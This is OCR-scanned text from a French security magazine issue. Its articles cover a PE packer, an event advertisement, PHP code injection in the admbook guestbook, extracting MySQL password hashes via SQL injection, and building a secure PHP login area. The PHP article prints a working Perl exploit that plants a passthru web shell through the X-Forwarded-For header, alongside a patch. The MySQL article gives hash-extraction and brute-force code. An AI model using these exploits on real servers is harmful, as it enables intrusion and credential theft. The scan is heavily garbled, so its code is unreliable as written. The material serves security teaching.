return

(TRUE);  // lout 5'est bien passé

<= Packeur_vide_v1 - winpe
File Bars Help Yiews Fonts

D= &2

KERNEL3Z .dl1l

Hint/Name Table: 00002800
TimeDateStamp: 00000000
ForwarderChain: 00000000
First thunk RVA: 00002000

479 GeatVersionExA (IAT: 00002C06)

537 InitializeCriticalSection (IAT: 000D2C16)
122 DeleteCriticalSection (IAT: 00002C32)

175 ExicProcess (IAT: 00002C44)

375 GetModuleHandledA (IAT: 00002CS8)

431 GetSctartuplnfoli (IAT: 000D2C6C)

663 QueryPerformanceCounter (IAT: O00D002C7E)
469 GetTickCount (IAT: 00002C98)

318 GetCurrentThreadId (IAT: ODO002CAB)

315 GertCurrentProcessId (IAT: O0002CBE)

GetSystemTimeAsFileTime (IAT: 00002CD4)

: vous renverral aux differents

. Les techniques qui permettent de cacher
: les chaines de caractéres et les appels
. systéme sont toujours les mémes. Je
: n'aborderai pas cet article cette phase, je

articles

. paru dans les différents magazines.

: VWous pouvez voir dans la deuxiéme cap
. ture ce que donne le méme programme
. avec la technique de cache AP,

- Une autre trace qui trahirait pourrait
. etre celle de 'ajout d'une section supplé-
. mentaire. C'est vrai. On peut la faire
. complément disparaitre. Ce n'est pas
: I'objet de cet article. Peux &tre dans un
. futur proche, un article lui sera entiére-
. ment consacré!

: Gonclusion

Vaici pour les deux outils. Nous avons
. donc écrit de fagon trés rapide et effi-
. cace un « packeur » et « unpackeur
. .Ce qui est appreciable par rapport a
. notre développement, c'est le fait que
. nous avons écris le « unpackeur » en
. langage évalué, nous n'avons pas pour
. cette phase a remettre en cause la struc-
¢ ture, ni les problemes inhérent i I'assem-

bleur (registre, saut, etc.). On peut

. reprocher i cette approche le fait d"avoir
. un code généré plus gros que celui que
: l'on peut construire en assembleur. Je
. repandrai par l'affirmative.

: Mais avec la taille de nos disques durs, la
: vitesse de processeur, les techniques de
: cache, je pense que ces arguments ne
. sont plus 3 prendre en compte. Je ne
. parlerai pas de la vitesse de chargement
: du « loader vide » et le lancement du
programme cache, ils ne sont plus i
prendre en compte de nos jours. Il faut
: créer des outils qui sent adaptés i notre

technologie et ne pas regarder les vieil-

- les technologies avec ces limitations.

¢ On peut 3 contrario regarder les outils
sur le plan de la maintenance logicielle,
: quelle est I'effort faut-il fournir pour

maintenir un programme complexe ecrit
en langage evolue par rapport au méeme

. programme identique en assembleur?,

C'est ['objet d'un long débat sans fin

. entre les adeptes des langages evolués vs
. ceux du langage assembleur.

g3d

- Pour rentrer en contact avec l'auteur de
. cet article, merci de passer par la redac-
: Tion gui transmetcra.

. Codes sources complets :

http:/iwiki.thehackademy.net/

. index.php/THMag_04
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www.nuitduhack.com

insi, la journée, vous découvrirez les stands de nombreux professionnels et d'associations, lls vous exposerans leurs matériels, solutions ef
travoux. Avec celo, de nombreuses conférentes tenues par des spécialistes de lo sécurité vous ferons découvrir les bases de lo sécurité ef les

enjeux de bonnes protections. Lo cryptographie, I'importance de lo sécurité, les méthodes d'ttagues et les méthodes de protecfions se trouvent
ginsi au programme.

Le jour lnissera ensuite place @ lo nuit, durant loquelle se déroulera le challenge : pur équipe de cing, les concurrents se frotteront @ des systémes
créés, sécurisé ef mis en place par les organisateurs. L'unique bul ; trouver les failles, laissées, co et Ia, ef les uliliser pour marquer des points. Le
jour se levant marquera la fin des épreuve ef le décompte des paints désignera |'équipe gagnante. Durant ce chollenge, les débutaiits et les plus
averfis devron! faire foce & des problemes tous issus de ['imagination d'une équipe vouée d les surprendre, dans les différents domaines que sont
les réseauy, les upplications et le web. Des mini-fournois viendront pimenter la soirée en générant eux-aussi des points. Mais attention : seul le meilleur
d'entre tous repartira avec I'ultime récompense : son billet d'avion pour LAS VEGAS et la DEFCON, meeting annuel od se rossemblent les plus grands
noms de |o securité informatigue

-4 -I Ii "Inscription en ligne
Uur presentauion obligatoire sur
d = http://www.nuitduhack.com™

4
a I'entrée de I'événement :
]
acces gratuit au salon

et aux comér_em:_g_s_!_ , &

contact@nuitduhack.com
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Micux comprendre la séeurité Web

a fanction
passthru selon
PHP est wéri-
tablement un

-~

des privileges
autrement inter-
dits aux simples
utilisateurs,
Effectivement,
celle-ci, dans wun
ensemble de conditions rassemblées,
peut execurer un shell sur un serveur

™y -y
=i} e TN
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distant selon les droits d'un script vulne-
rable. Malgré de trés nombreuses failles
de cet acabit, les développeurs et admi-
nistrateurs restent par moment négli-
geants. Expliquons le principe et la
methode afin de prévenir 'incident even-
tuel.

Pour commencer, voici 'explication habi-
tuelle donnee par les sites expliquant le
langage PHP :

void passthru |

string command
[, int return var])

La fonction passthru() est similaire 3 la

fonction exec() car les deux exécutent :

une commande. Si l'argument
return_var est présent, le code de statut
de réponse UNIX y sera placé. Cette
fonction doit étre utilisée de préférence
aux commandes exec() ou system()
larsque le resultat attendu est de type
binaire et doit étre passe tel quel i un

navigateur.

On comprend facilement I'ambiguité de
la chose! 5l est possible d'exécuter
cette fonction PHF sur un serveur via
une URL ou une requéte HTTP tron-
quée, l'intrusion reste plus que probable.
Examinons une exploitation typique sur
une application Web genre GuestBook,
savoir le Livre d'Or admbook, dont une
vunerabilité a été publiée il y a quelgues
Mois.

moyen daccorder :

- Une faille de admbook, récemment publiée, nous
amene a réviser certaines notions importantes en
securitée PHP. L'exploit commenté ainsi que les
explications de cet article vous aideront a mieux

comprendre le probléeme.

Principe de l'injection PHP

Habituellement, ce Livre d'Or permet
simplement d'inscrire un petit texte afin

- d'affirmer son (mé)contentement lors de

la visite du site hote. On peut y inscrire

- son adresse mail, un lien vers son propre
© site ou son numéro 1CQ, etc. Dans ['es-
- prit SQL, une requéte HTTP se tradui-

rait ainsi (chacun des champs restent i

: canvenir):
. hetpi/isite/guestbook/write.php’name==&

url=&email=&icq=&message=

: Des lors, que se passe-t-il lorsque l'on
: arrive sur la page index.php de ce livre
: afin de lire les messages!?

Par le biais d'une requéte GET, cette
page e compose avec les différents
commentaires des usagés et apparait i
I'ecran. On identifie clairement I'ensem-

: ble des donneées sollicitées dans une

espece de table (x figure un numéro de
message poste, 0 etant le plus récent) :

gcontent [x] ['ip'] =

Scontent [x] ["host'] =

Scontent [x] [ 'proxy'] =

Scontent [x] ['url'] =
foontent [x] ['mail'] =
Scontent [x] ['icg'] =
Scontent [x] [ 'message’]
Soontent [(x] ['time'] =
Focontent [x] [ 'admin-name ]
Scontent [x] [ 'admin-message ' ]
Scontent [x] ['admin-time']

: ment

Pour bien saisir le principe, en peut illus-
trer de maniere textuelle 'ensemble des
donnees envoyées par notre navigateur
lersque I'on inscrit un commentaire dans
ce Livre d'Or (notez |'usage du scripe
write.php) :

POST /write.php HTTF/1.1

Referer: http://site.oom/ghook/index.

Host: site.com
Content-Type:

form-urlencoded
Usar-Agent :

Content - Lenxgth:

pata --> |ensemble des données clientes,

En résumé, les ensembles de deonnées
recues sont inscrites par write.php dans

un autre script PHP de contenu nomme

: content-data, C'est dans ce seript que se
. trouve toutes les remarques précédem-

envoyées par de nombreux

: clients. C'est ce script qui est lu a cha-
: que chargement de la page index.php et
. qui compose la(les) page(s) admbeok.
: MNéanmoins, tout les champs ne sont pas
. utilisés pour former le Livre d'Or. On
: utilise seulement les

cing champs

: concernant le pseudo de ['internaute,
. son adresse mi@il (s'il en signale une),
un eventuel numere 1CQ et un lien
. Web. Le reste appartient & I'administra-
: tion du GuestBook. Ou est le probléme

alors?

application/x-www—



Exploit en Perl

#! fuar/bin/perl

uge I0::Socket;

# Variante de | 'exﬂ.':g.;." admbook par rgod -
& http://www.milwOrm.com/id.php?id=1512

# Explication des usages de 'exploit

if (@ARGV < 3){
print "Usage:\r\a";
print "Xploit.pl SERVER PATH COMMAND\r\n";
print "SERVER - IP where server \r\n";
print "PATH - Path to script \r\n";
print "COMMAND - A shell command \r\n";
exit();

% Codage url (par ex : ABC-> %41%42%43)
sub main::urlEncode{
my ($string) = @_;
$string =~ sa/(\W)/"%"
. unpack("H2",
return fSstring;

£1) /ge;

# Définitions des différents orguments
Sserv=5ARGV([0];
Spath=3ARGV([1];
$cmd="";
for(5i=2; Si<=S5#ARGV; 3Si++){

$cmd . ="%20" .urlEncode ($ARGV[$1] ) ;
bi

# Création de nofre socket
ggock = I0::Socket::INET->new(
Froto=>"tcp”, PeerAddr=>"Sserv",
Timeout=>10, PeerPort=>"http(80)")
or die "[+]Could not connect to
host . \n\n";

& Constitue notre shell

gshll=""if(isset (5_GET[MyShell])){
INI_SET("max execution time",0);
PASSTHRU (5_GET [MyShelll) ;DIE; }echa™';

# Différents renseignements figurant dans le Livre d'Or
g$data ="page=1";
Sdata.="&nama=Stormy" ;
Sdata.="surlshttp://thehackademy.nat";
sdata.="&email=";
sdata.="&kicg=1337";
tdata.="amessage="

.urlEncode("Own3d by Stormy™)r

# Constitue I'en-téte HTTP dans laguelle figure X-Forwarded-For
# Dans celvi<i figure notre shell ZII'_!]HHIEHF shil)
print $sock "POST "
.Spath. "write.php' HI'TF/1l.1l\r\n";
print Ssock "Referar:"
"http://".8serv.Spath. "index.php\r\n";
print $sock "X-Forwarded-For:".5shll."\r\n";
# Champ sensible !
print Ssock "Content-Type:"
." application/x-www-form-urlencoded\r\n"
g¢sock "User-Agent: leol\r\n";
$sock "Content-Length: "
.length($data) ."\r\n";
print $sock "Host: ".Sserv."\r\n";
print $sock "Connection: Cleose\r\n\r\n";
print Seock Sdata;

print
print

# L'inseription dans le GuestBook est consignée en content-
data. php

close ($sock) ;

sleep(2);

# Constitve un nouveau socket afin de commander notre shelf

Ssock = I0::Socket::INET->new(
Proto=>"tcp", PeerhAddr=>"$serv",
Timeout=>10, PearPort=>"http(80)")

or die *[+]Could not connect to host.\n\n";

# Le script vulnérable est maintenant sollicité

print $sock "GET ".S5path
."content-data.php?MyShel 1="
.$cmd. " HTTP/1.1\r\n";

print $sock "Host: ".$serv."\r\n";.

print $sock "Connection: close\r\n\r\n";

# Réception du résultat de lo requéte
whila (Sanswer = <$sock:>){
print Sanswer;

}
& (léture de notre socket

close | $sock) ;




Technigue Injection PHP par

Ilk A .'.

Examen du code PHP
problématique

Avez-vous remarque le terme X-

Forwarded-For figurant dans la requéte
cliente! Celui-ci permet de notifier une
IP cliente malgre |'usage d'un proxy
(premier champ de la table). La faille

réside dans la lecture de cette portion :

de l'en-téte a l'appel du script cantent-

data.php, car un code quelcenque peut :

etre execute, C'est justement dans
cette suite 3 l'en-téte X-Forwarded-
For que doit figurer notre shell via

notre fonction PASSTHRLU. Ainsi, si cet

en-téte HTTP contient un code mali-

cieux, il sera ecrit dans |a table préce- :
dente, puis traduit et execute par la :

suite. Voir le code correspondant en
encadre.

En PHF, un pirate sait se satisfaire d'un

code basique qui exécutera un shell sur :
le serveur distant. Puisque la faille se :
trouve dans un fichier portant l'exten- :
sion PHP, inutile de faire figurer les bali- :

ses PHP traditionnellement neécessaires.

Dans un autre contexte, il aurait éte -
nécessaire de commencer par <! et :
finir par !>, voire les équivalents :

Unicede.

if (isset(3_GET[Myshell])){

INI SET("max execution time=,0
1;

PASSTHRU (5_GET [MyShell] );
DIE;

I o 0 | f
il i b = P =, — = g | e e e e
f | 'I_|'r-. | f If |II i f;: IL'\'q:'l---.l'.--._l .'r- lll' l'l I' I"_ |r'i- i_; ,I if | '-\._:. I||! .I o ll I|I
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. Par |a suite, ce méme pirate peut simple-
Création de content-data.php :

Voici la fonction d"écriture qui ogence les don-
nées clientes dons content-data -

: ment commander ce shell en accompa-
: gnant une requéte HTTP [GET] sur
Ecnntent-data.php avec un argument
: MyShell, soit une commande quelcon-
- gque. Un exemple vaut mieux que toutes
: les explications theéoriques. Examinons

¢+ Portion de write.php
/¢ Création du fichier content-data.php
s'il n'existe pos

. plutot un exploit propre a ce genre de

vulnérabilité. Mous commenterons large-
ment afin de saisir 'ensemble des peru-
nences. Voir encadré.

if (file exigts(
"content-data.php"))
include [ "content-data.php® ) ;
alse
createF] la{ "ommtent-data. o) 5
{oss)

A F'usage de l'exploit, content-data.php
: comporte une nouvelle entrée[0]. Dans
celle-ci, on retrouvera l'ensemble des
données inscrites selon les informations
envoyees par le client et écrites par
/+ Détermine si 'en-téte HTTP com-
porfe vn argument
A_FORWARDED FOR

write.php qui ne verifie pas le contenu.
Cette nouvelle entree se compose ainsi,
injection incluse (figure auparavant la
if (lisset|( requéte HTTP cliente dans son entier):
SHTTP X FORWARDED FOR))

SHITP X FORWRFTED FOR. = "'";

http://site/questbock/write.php?
name=HaxOr&url=http: //thehackadem;. net
Eemall=5icg=1337&message="0wn3d*

/7 Inscrit lo chaine de coractéres
envoyée sans vérifier le confeny
if (SHTTP X FORWARDED FOR)

Sip = getenvi
"HTTF X _FORWARDED FOR");

Scontent [0]1 ['ip'] =
"if(isset (i GET[MyShell]l)){
INI SET("max execution time",0);

Sproxy = getenv(
"REMOTE_ADDR" ) ; PASSTHRU (S _GET [MyShell]) ;DIE; }echo*:
Scontent [0] ['host'] =
Mao-x-B2-bdxooe-oor. adal  prosead , net
Scontent [0] ['proxy'] = '
"B2.64 .00, 00" ;
Scontent [0] ['name'] = “"HawOr";

gethostbyaddr (
$SREMOTE ADDR) ;




Scontent [0] ['url'] =
“http://thehackademy.nat";
Scontent [0] ['mail’'] = "*;
Scontent [0] ['ieg'] = "1337";
tcontent [0] [ 'message’'] = "*Own3d*";

tcontent [0] ['time'] = "114053B014";
tcontent [0] ["admin-name'] = ""j

tcontent [0] [ 'admin-message'] = "";
jcontent [0] ['admin-time'] =

LU L™
T

correctil

Pour éviter ce genre de wulnérabilité, :
plusieurs méthodes doivent étre appli- :
quées, Premiérement (et dans la mesure :

du possible) il faut interdire les fonctions
exec(), system() et passthru{) dans la
configuration PHP d'un site. Le fichier de
configuration php.ini permet dinterdire
l'utilisation de certaines fonctions dans
les scripts pour des raisons de securite.
Cette directive de configuration se com-

pose d'une chaine de caractéres délimi- :

tée par des doubles gquotes. Elle com-

porte la liste des fonctions sensibles a :
interdire, séparées par une virgule. Le :

modele est le suivant :

disable functions =

"gsystem, exec, passthru®

Ensuite, il faut filtrer I'ensemble des infor-
martions parvenant aux differents scripts.
Un simple filtre se portant essentielle-
ment sur les caracteres particuliers
comme $ [ ] {} : et leur équivalent
Unicode peut largement diminue les ris-
gues d'injection. Dans notre cas, le plus
logique est dinterdire tout caractére qui
n'est pas un numeéro ou un point. Puisque
ce champ (IP) ne devrait comporter que
4 portions de 3 chiffres séparees par 3
points (genre 123.123.123.123), il ne fau-
drait accepter que |5 caracteres. Le plus
simple est dutiliser un code PHP dont
| abjectif est de vérifier que la variable est
bien une IP et rien d'autre.Voir encadre.

Vous remarquerez l'absence de la fonc-
tion getenv() qui figurait dans le code
d'origine. Effectivement, celle-ci pose des
problémes de seécurisation notamment
une probabilite dlinjecton importante
Effectivement, cette fonction & consacre

a la lecture dune variable d'environne- :

ment quelcanque sans verification. Orn

comme nous I'avons évoqué, celle-ci peut

contenir un code malveillant. Il est donc
bien plus judicieux d'utiliser un équivalent
plus sir, a savoir'la superglobale $ SER-
VER. (disponible depuis PHP 4.1.0).

Pateh pour admbook

Voici ce qu'il aurait follu ajouter @ notre Livre d'0r admbook afin de e sécuriser -

if (SHTTP_X FORWARDED FCR) {

+ ¢ Merdi @ ZirkKom pour son gide ++

/+ (opture du champ HTTP_X_FORWARDED _FOR pour vérification
$ipTest = & SERVER['HTTP ¥ FORWARDED FOR'];

/4 O doit seulerment outoriser 4 champs comportant 3 chiffres
¢+ Chogue chomp doif étre séparé du swivant par un point

SPattern =

if(preg_match(SPattern,
1f{ SaResult[l] >

By

3

nrAaf[0=91{1,3}¥) 5. ([0=9]14{1,. 3} )M ([0=
91{1,3})\. ([0-9]1(1,3})%/";

7/ Mot éive si que les vowinles sonef comprises enre 0ef 255
SipTest,
0 && SaResult[1]
&& SaResult[2] < 256

kL SaRegult[3] < 25
EE SaResult[4] < 25
$ SERVER['HTTP X FORWARDED FOR'];

SaRegult) {
256

{
/f OF

1 Sice n'est pas le cos, fe champ IP est rend vide

alge{
$ip = ||'||Ilr

&1l faut filtrer I'ensemble
des informations”

. De plus, nous avons remargue dans la

table de donnees propre a admbock, la
présence de champs consacrés au seul :

: administrateur. En remontant dans lhis-

. torique du GuestBook, on finirait bien

par trouver des informations sensibles

: comme un Hash MDS du mot de passe. :
La methode est dangereuse et doit etre :

distincte a l'ensemble des autres traite-
ments. Puisque notre dossier concernait
essentiellement l'injection de code dans
une application Web, nous n'évoquerons
pas le principe presentement,

Gonclusion

. Les failles de ce type sont trés courantes
et concernent de nombreuses applica-
tions diverses, tout autant que les langa-

. un code malveillant. On ne sera jamais
trop exigeant lorsqu'il s'agit d'intégrer
des filtres adequats. D'une certaine
maniére, on pourrait aussi longuement
: poléemiquer sur_linterét de I'Open
Source puisque qu'il suffit parfois d'une
. simple lecture du code afin de détermi-

- ner la faille étudige. Sans vouloir discré- —
' . Refeérences :

- www.milwlrm.com/exploits/1512

. diter les développeurs qui nous font pro-
. fiver de leurs bons travaux, il convient de

ne Pﬂﬁ- b1~ ﬁEl' LI ﬂPpFI"E-'rIEE'E 'S-E-'L-IE-'E eL
de bien considérer 'outil offert, Un audit

réflechi est primardial!

. Comment pensez-vous que les pirates
- font pour decouvrir ce genre de failles?
C'est parfois aussi clair que de l'encre
. dans un livre cuvert.

Au terme de cet examen, il a éte intéres-

: sant de considerer la méthode d'injec-

ticn PHP dans une application Veb.
. pes et méthodes emplayés afin dinjecrer :

Dorénavant, vous aurez probablement

i un tout autre regard sur vos tables
: sachant que chacun des champs est

potentiellernent une méthode d'injection
sourncise. La vigilance s'impose!

Stormy

Kikov Ambre ef Vaness'
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Ders requéters pars si innocenters

e nombreux
n;;u::u:i a réflechir de maniere differente a I'impact d'un pro-
comment devenir = DI€Me d'injection SQL. On verra, notamment grace a
administrateur - ['exemple d'un site héberger chez Free, que ce n'est
dunforumgricea : nag tant votre base de donnée que vos identifiants
- globaux qui sont menaceés.

Les astuces simples expliques dans cet article invitent

une injection sgl,
mais dans cette

facon de recupe-
rer les mots de
passe de la base de donnée — et dans

certains cas de devenir administrateur :

du site web entier. Il existe en sql des
commandes qui permettent de manipu-
ler les utilisateurs de la bdd : on peut
ajouter ou 5upprirr‘.ﬁ|‘ des yusers. af sur-
teut afficher leurs passwords.

|e vais commencer par vous presenter :
ces commandes sql. Ensuite nous ver- :
rons que le hashes des mots de passe ne

résistent pas forcément a certaines arta-

ques par brute force. Enfin nous verrons

un cas concret. dans 'environnement de
I'hébergeur Free.

Quelgues rappels sur MyS0L
user()

La fonction user{ ) de MySQL permet de
connaitre |'utilisateur courant de la base
de donnée. 5i j'entre SELECT user{ ) en
lacal dans men Mysql le resulaar est :
root{@localhost.

SHOW GRANTS
Ensuite etudions la commande SHOWY
GRANTS FOR user{@host. D'apreés le

résultat précedant, cela donne : SHOW

GRANTS FOR root@localhost. Cette
commande va permettre de voir les
droits de cet utilisateur, et surtout de
faire apparaitre son password crypte.
(Quand je l'exécute en local sa me donne :

GRANT
ALL PRIVILEGES ON *.™*

T 'root'@'localhost’
WITH GRANT OPTION

article je vais !
mancrer une :

Dans ce cas-la, on ne voit pas le pass- :

word car par défaut sur ma distribution,

I'utilisateur root de MySQL n'en a pas. :
. Par contre si je crée un nouvel utilisateur, :
avec un mot de passe, et si jeffectue la

meéme commande cela me donne :

myaegl> SHOW GRANTE FOR
benji@localhost;

GRANT ALL FRIVILEGES ON *.*
TO '‘banji'@'localhost’
IDENTIFIED BY PASSWORD
'060b5d2335b09355"

WITH GRANT OPTION

Et on peut voir 060b5d2335b09355 qui :

&5 mon password crypté par Mysql.

- La fonction password() ;
Maintenant que nous avons vu comment :
afficher les informations relatives aux

users et vu leur passwords, j& vais vous

expliquer comment le password est :
crypté. La fonction password('mor de
passe’) permet d'utiliser manuellement la :
fonction de hashage cryptographique de
MySQL. Si jexéecute SELECT pass-

word('password’)
un hash : 5d2e19393cchefé’.

Lle cas de Free

Motre forum est heberge chez Free a
cette adresse :

- http:/iphonixsprider.free.fr. Je wvais
m'en servir comme exemple, mais ce qui -

. MySQL me retourne :

Depuis sa version 4.1, MySOL chifire les mots
de passe sur 41 octets au liev de 16. On paut
loutefois ufiliser I'oncien olgorithme sur 16
octets @ |"oide de lo fonction old_possword().
Sur certgines distributions, dont Debion
MySQL est configuré por défout (old_poss-
words=1 dans my.caf) pour toujours utiliser
I'oncienne version de I'algorithme, pour assu
rer lo compatibilité d'outres poquetoges. Cest
le cos de notre environnement de fest,

Notez que les hashes sur 41 octets sont précé-
dés por une étoile. Ce préfixe explique lo
toille impuire du hash.

Ainsi :

mysgl> set

OLD PFASSWORDS=0FF ; select
password ( "hackademys” ) ;

tuery OE; 0 rows affected
(0.00 sec)

password ( "hackadeny" )
*1F1B77609D463FBA6FASIDEDSC
BOCTOQ9TCBFFCT |

1l row in set (0.01 sec)

Ceux qui sont intéressés par l'algo-

rithme en C peuvent consulter les
fonctions make scrambled password
et make scrambled password 323
(ancienne version) dans la distribu-
tion source (sql/password.c).

Flus a'information :
hitpiioev.mysqgl.comidoc/refman/
5.0Mripassword-hashing.htmil
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suit n'est pas du toutr specifique a cet
hebergeur. Admettons gque vous aillez
trauvé une faille de type injection sgl sur
un site Free - peu importe lequel. 5i on
essaye d'exécuter SHOW GRANTS
FOR root@localhost, une erreur appa-
rait et nous donne le nom de ['user :

#1044 -

Accegg denied for uger:
'phonixsprider@2xx. 2x.40. ax!'
to database 'mysgl'

Maintenant il nous suffic d'exécuter :

SHOW GRANTS FOR
phonixsprider®boc. 2x.40. Lxo;

Ce qui nous donne un truc genre :

GRANT USAGE ON *.*

TO ‘phonbeprider@oooe. 2x.40. bo
IDEMNTIFIED BY PASSWORD

"O£5fb7173ch5£030"

GRANT SELECT, INSERT,
UPDATE, DELETE,
CREATE, DROP,
REFERENCES, INDEX,
ALTER,

CREATE TEMPORARY
TABLEE

ON ‘phonixsprider” .*

™ 'phmbeprider '@ 2ot 2040, Dot

On peut donc voir le password crypté

. Of5fb7 1 73cb5f030 gu'il nous suffim de
: brute forcer. Comme chez Free, ainsi que
. chez beaucocup d'hébergeurs en mutua-
. lise, le password My5QL est le meme
: gue celui du fep, le mot de passe en clair

Un paralléle avec UNIX

. yous donnerait donc un accés complet
: au compte.

Il faut cependant relativiser la portee de
cette technique, car les failles permet-
tant de faire de l'injection SQL permet-
tent rarement d'exécuter une com-

- mande complete. Le plus souvent, on
- peut seulement detourner les parame-

tres d'une requéte SELECT ou UPDATE.
Méme avec le mot clé UNIOM, an ne
peut a pricri pas coupler ces requetes

- avec SHOW GRANT.

Mister X

Merdi @ lo crew redkod !

A titre n"exemp.'&*, vous trouverer sur e wiki

une implémentation en PHP de la recherche

. de mot de passe g partir de son hash, en
. paossant par My5QL. Bien sur; W est bien

plus efficace de le faire en C et sans passer

: Par Un Serveur.

L*essentiel :
brute test(sresult) {
¢8gl = "SELECT
password('Sresult')";
Eras = mysqgl queryi(ssgl);
treq = myegl result(Srea, 0);
# le password gue nous allons devoir
brute forcer (remplacer)
S$hash = "HASH A CRACKER";
echo "$resultin";
if ($req == Shash) {
acho "Cypté: Sreqg <br»";
exit();
}
}

(e qu'il fout retenir de cet article, c'est que lorsque I'on est outhentifié sur lo base de donnée, on
peul connaitre le hosh de son mot de posse - méme si l'on o pos un occés direct @ lo foble mysgl.user
gui le contient effectivement (essayez un SELECT * From mysql.user).

Pour roppel, on rencontre @ peu prés ln méme situation sur certoins systémes UNIX. Alors que le
fichier /etc/shodow n'est pos accessible en lecture, on peut parfois récupérer le hash du mot de
passe de I'utilisateur courant, voire méme ceux des autres utilisateurs.

Yous pouvez utiliser ce palil programme pour fester votre systéme :

finclude <pwd.h> // man getpwent

void main () {
struct passwd *p;
while(p = getpweant())

printf({"%s:%s\n", p->pw_nams, p->pw_passwd);

}

Les effets de cette technique peuvent varier selon I'0S, ln distribution ef les méthodes d'authentifi-
cation installées,




Technique Ccpace seo

Cers petites choses aurquelles il faut penser

a securité est
trés importante
toute
infrastructure
informatique, Cela
commence par la
protection physi-
que des serveurs,
puis a combler les

dans

failles des ser-
j - veurs, mais cela va
jusqu'a la page

internet. Nombreuses entreprises laisse
ce dernier paint de coté, en se sentant
sécurisé par un bon hébergeur, Le but de
cet article est de proposer une solution
parmi d'autre d'espace sécurisé en PHP

Préparation

Pour développer un ensemble de pages
et de systemes, il est préférable de se
préparer en faisant le point sur les tech-
nologies que l'ont va utiliser et sur les
problemes que 'on va tenter de reparer,
On va essayer de répondre i la question
que et qui dois-je craindre dans un
espace sécurise !

En premier on doit se protéger de I'em-
ploye lui-méme, qui met son prénom
comme mot de passe. Ensuite, aux autres
employes malveillants qui utilisent le fait
d'etre sur le méme réseau pour se faire
passer pour un autre. Puis on veut se
proteger des robots, qui sent de plus en
plus nombreux sur internet. En dernier
lieu on veut se défendre contre ces
fameux hackers qui nous empoisonnent
la vie. Maintenant que nous connaissans
nos ennemis, penchons nous sur leur
methade d'attaque.

L'employé lui-méme : |
comme mot de passe un nom gqui lui
est familier, tel un prénom, une date. ..
Connaissant son pays il est facile de
trouver un prenom, et pour les dates
on sait que les gens choisissent des
dates passées car elles représentent
quelque chase. Ce qui fait trés peu de
possibilite.

va prendre

Cet article s'adresse a ceux qui ne savent pas par ou
commencer pour programmer une espace privé sur
leur site, avec un systéme d'authentification un tant
soi peu fiable. Il faut en effet prendre en compte un
certain nombre d'éléments importants, que nous

detaillons.

LA
Les employés malveillants : lls sont peu
nombreux, mais existe souvent dans les
entreprises. Pour une raison ou une
autre, ils voudrent se faire passer pour
leur collégue sur votre site — en regar-
dant sur le poste du voisin lorsque celui-
ci tape son mot de passe ou, pour les
techniciens, en sniffant par exemple la
connexion LAMN.

Les robots | Depuis quelque temps on en

. entend souvent parler, au travers du Spam
. et autre pishing. Les robots malveillant sont,

sur Internet, une multitude. lls peuvent tenter
de slinscrire sur votre site pour tenter de
récuperer des emails ou aspirer des parties
du sites ou toutes informaticns.

Les Hackers : Voila le plus intéressant de
nos ennemis. C'est aussi celui qui va
nous donner le plus de fil 2 retordre. Il
peut utiliser les mémes techniques que
tous les autres ennemis, ainsi que tenter

. de voler les sessions ou les cookies de

nos membres. Cependant, sont travail
sera souvent plus poussé, il faut donc
que votre site en vallle la peine. Par
exemple si votre site présente vos pho-
tos de vacances, il n'aura pas d'intérét
pour un hacker. Par contre, si vous pos-
sede un site de vente en ligne ou conte-
nant des informations intéressante, il en
est differemment.

Maintenant nous connaissons nos enne-
mis et leurs techniques d'attaques, on va
pouvoir commencer i voir les solutions
pour les contrer:

T l_,-mr.ll I.'. f"“a'*’"“'.l"'_“'- ”-,--. AP r_-‘l||r..ﬂ--w ﬂ—m'lly- -, -
wd W | LA o} Cll 7
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Utilirer PEAR

Pear est un projet officiel de php qui se pro-
pose de regrouper des closses php de haute
quolité, documentées, sur des sujets variés :
caches, templates, boses de données, authen
tifications, coptachas, efe.

L'avantage est que tes dosses sont cohérentes

entre elles et surfout qu'elles sont revues et
torrigées par lo communauté. Si vous les mai
Irisez, vous gognerez un temps précieus.
Sur le web :

AT'action

Commengons par créer une page d'ins-
cription pour nos futurs membres, qui
demandera, un pseudo, un login, un mot
de passe, un mot clef ainsi qu'un email.
Vous verrez par la suite, que toutes ces
infermations nous
pour se défendre,
Pour éviter qu'un collégue ne jette un
coup d"%il sur I'écran de nos membres on
utilisera évidemment des champs de
texte de type password, qui aurent pour
effet de remplacer le mot de passe par
des etoiles sur I'écran. Pour contrer les

seront bien utiles

robots comme nous 'avons étudié dans
notre preparation, nous devons utiliser
un code en PHP pour genérer une image
avec des chiffres et des lettres, ainsi que
des formes. Dans cette image un humain
n'aura aucun mal a voir la suite de caractére
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alors qu'un robot aura beaucoup de diffi-
cultés. Durant la phase de veérification du
formulaire, on va analyser le mot de passe
entre par le membre et verifier il est assez
complexe, et s'il ne fait pas partie de dic-
tionnaire commun (voir encadre).

Verifier |la solidité des mots de passe
On va ensuite decouper le mot de passe
de fagen a lire tous les caracteres un par
un. Chaque lettre minuscule rapporte |
point, lettre majuscule 2 points, chiffres 3
points et caracteres autres 5 points. De

h—'-"_-.

-
&
-
b
b
-
.
®
i

plus pour chaque type de caracteres
présents au moins une fais on ajoute des
points de diversité. Enfin le nombre de
point est multiplie par le nombre de
points de diversité, cela nous donne le
nombre de peints de complexite. |l ne
reste plus qu'a comparer ce nombre au
nombre minimum requis. Cette techni-
que permet de définir plusieurs niveaux
de securité, il suffic de changer le nombre
minimum de maniere empirique. Voir
I'encadre pour un exemple d'implémen-

ration.

Yérifier 7i le pasr est dans un dictionnaire

function checkPasgword(smdp)
7/ On ovvre le fichier dictionnaire

if($fp = fopen("dico.txt®,"r")){

while (!feof(Sfp)) {

/¢ on parcoure le fichier jusqu'n la fin.

gmots dico .= fgeta(Sfp,

}
feloga(Sfp);// On ferme

3

4098);

le fichier.

74 On vérifie si le mat de passe (Smdp) s'y trouve

Strouver mot = strpos(mots_dico,

if (Strouver mot === fal=sa)

f/ echo
raturn TRUOE;
elae {
JJ echo
courant.';
return FALSE;

Smdp) ;

{
'Suite du traitement.';

'Le mot de pasgsse Jgue vous avez entré sgt trop

=

Proteger les hashes

Mous avons maintenant un mot de passe
suffisamment complexe, un pseudo, un
login, un mot clef et un email. Nous
allons pouveir enregistrer ses informa-
tions dans la base de donnee. Pour éviter
qu'en cas de piratage du site un hacker
aillant acces i notre base ne puisse lire
les mots de passe, on va les crypter. Le
PHF fournit une fonction de hashage en
md5. Cette fonction nous denne un hash
a partir du mot desirer, ce qui est une
forme de crypto a sens unique.

Le prebleme est que le méme mot
crypte en md5 aura toujours le méme
hash. D'une part, cela permet de consti-
tuer des tables précalculées (comme on
en trouve plusieurs sur le web). D'autre
part, il serait alors possible de voir que
deux utilisateurs utilisent le méme mot
de passe. On va donc utiliser une
